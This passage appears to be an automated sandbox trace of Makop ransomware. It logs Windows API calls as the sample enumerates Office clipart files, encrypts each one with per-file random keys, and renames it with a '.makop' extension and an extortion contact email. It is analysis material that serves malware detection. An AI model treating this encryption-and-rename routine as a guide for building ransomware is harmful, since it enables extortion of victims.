Office\\CLIPART\\PUB60COR\\HH01080_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.267] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.268] CloseHandle (hObject=0xf0) returned 1 [0115.268] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1 [0115.268] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0115.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.270] GetProcessHeap () returned 0x48a0000 [0115.270] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.270] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.271] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.271] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.277] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.277] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.277] GetProcessHeap () returned 0x48a0000 [0115.277] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.277] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.277] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.278] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.278] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.278] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.278] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.278] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.279] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.279] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.279] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.279] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1cac, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1cac, lpOverlapped=0x0) returned 1 [0115.281] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1cb0, dwBufLen=0x1cb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1cb0) returned 1 [0115.285] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.285] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1cb0, lpOverlapped=0x0) returned 1 [0115.285] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.285] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.286] SetEndOfFile (hFile=0xf0) returned 1 [0115.293] GetProcessHeap () returned 0x48a0000 [0115.293] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.293] GetProcessHeap () returned 0x48a0000 [0115.293] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.293] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.293] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.295] CloseHandle (hObject=0xf0) returned 1 [0115.295] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1 [0115.295] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0115.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.296] GetProcessHeap () returned 0x48a0000 [0115.296] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.296] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.296] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.296] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0115.304] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.304] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.304] GetProcessHeap () returned 0x48a0000 [0115.304] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.304] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.304] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.304] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.304] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.304] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.305] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.305] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.305] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.305] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.305] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.305] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.305] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3dbe, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3dbe, lpOverlapped=0x0) returned 1 [0115.307] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3dc0, dwBufLen=0x3dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3dc0) returned 1 [0115.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.307] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3dc0, lpOverlapped=0x0) returned 1 [0115.307] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.308] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.308] SetEndOfFile (hFile=0xf0) returned 1 [0115.315] GetProcessHeap () returned 0x48a0000 [0115.316] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.316] GetProcessHeap () returned 0x48a0000 [0115.316] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.316] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.316] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.317] CloseHandle (hObject=0xf0) returned 1 [0115.317] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1 [0115.317] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0115.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.318] GetProcessHeap () returned 0x48a0000 [0115.318] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.318] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.318] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.318] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.318] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.319] GetProcessHeap () returned 0x48a0000 [0115.319] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.319] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.319] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.319] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.323] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.323] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.323] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.324] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.324] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.324] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.324] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.324] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.324] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1780, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1780, lpOverlapped=0x0) returned 1 [0115.325] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1780, dwBufLen=0x1780 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1780) returned 1 [0115.326] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.326] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1780, lpOverlapped=0x0) returned 1 [0115.326] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.326] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.326] SetEndOfFile (hFile=0xf0) returned 1 [0115.334] GetProcessHeap () returned 0x48a0000 [0115.334] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.334] GetProcessHeap () returned 0x48a0000 [0115.334] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.334] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.334] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.335] CloseHandle (hObject=0xf0) returned 1 [0115.335] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90080a00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90080a00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1 [0115.335] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0115.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.336] GetProcessHeap () returned 0x48a0000 [0115.336] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.336] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.336] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.336] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0115.342] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.342] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.342] GetProcessHeap () returned 0x48a0000 [0115.342] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.343] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.343] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.343] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.343] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.343] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.343] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.344] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.344] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.344] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.344] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.344] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.344] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1746, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1746, lpOverlapped=0x0) returned 1 [0115.346] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1750, dwBufLen=0x1750 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1750) returned 1 [0115.346] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.346] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1750, lpOverlapped=0x0) returned 1 [0115.346] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.346] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.346] 